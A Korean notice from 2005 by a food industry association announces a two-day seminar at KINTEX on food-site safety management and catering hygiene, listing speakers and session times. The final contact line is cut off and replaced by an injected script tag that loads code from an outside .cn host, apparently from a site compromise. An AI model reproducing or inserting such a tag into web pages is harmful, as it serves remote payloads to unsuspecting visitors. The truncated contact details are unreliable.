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| 한국식품위생안전성학회 학술세미나 안내 | |||||
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| 작성자 | 한국식품산업협회 | 등록일 | 2005/05/11 | 조회 | 7880 |
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2005 서울국제식품전 기간 중 부대행사의 일환으로 한국식품위생안전성학회 주관아래 “식품산업 현장 안전관리” “집단급식 현장 안전관리”란 주제로 학술세미나가 개최되오니 회원사 및 기업의 많은 참여 바랍니다. ○ 주 제 : 식품산업 현장 안전관리 ○ 일 시 : 2005년 5월 17일(목) 13:30～18:30 ○ 장 소 : KINTEX 세미나실 ○ 진행순서 : - 13:30～14:00 등록, 개회사, 축사. - 14:00～14:40 우리나라 식품안전의 오늘과 내일 (이서래 박사, 과학기술한림원) - 14:40～15:10 식품산업현장 위생관리 발전방안 (고규석상무, CJ(주)) - 15:10～15:40 일반식품의 유용성 표시제도 개선을 위한 제언 (박기환교수, 중앙대) - 15:40～16:00 휴 식 - 16:00～16:30 유통기한 표시제도 합리적 개선과 사회적 효과 (정무성 교수, 숭실대) - 16:30～17:00 유기가공 식품제도 운영 효율화 방안 (김우선 박사, 진흥원) - 17:00～17:30 식품표시제도의 국제추세와 향후 전망 (이승용사무관, 식약청) - 17:30～18:30 종합토론회 ○ 주 제 : 집단급식 현장 안전관리 ○ 일 시 : 2005년 5월 18일(금) 09:30～18:20 ○ 장 소 : KINTEX 세미나실 ○ 진행순서 : - 09:30～10:10 단체급식 현장위생관리 과제 및 개선사례 (이용혁 부장, 아라코) - 10:10～10:50 학교급식 현장위생관리 과제 및 개선사례 (지현숙영양사,서림초교) - 10:50～11:30 외식업체 현장 위생관리 과제 및 개선사례 (류인곤팀장,CJ푸드빌) - 11:30～13:00 점 심 - 13:00～13:40 외국식중독관리 시스템현황을 통해본 집단급식 위생관리 발전방안 (곽동경 교수, 연세대) - 13:40～14:20 집단급식 현장 적용 식중독균 제어 기술 (박지용 교수, 연세대) - 14:20～14:40 휴 식 - 14:40～15:20 학교급식 위생관리 현황 및 추진방안 (조예영 서기관,교육인적자원부) - 15:20～16:00 단체급식 및 학교급식에서의 HACCP 적용반안 (손문기 서기관, 식약청 식품안전과) - 16:00～16:40 학교급식 식중독의 역학적 평가(허영주 과장, 질병관리본부) - 16:40～17:20 집단급식 식중독 원인규명 및 예방대책 (우건조 과장, 식약청 식품미생물과) - 17:20～18:20 종합토론회 ○ 문 의 처 : - 한국식품?script src=http://dae3.cn> |
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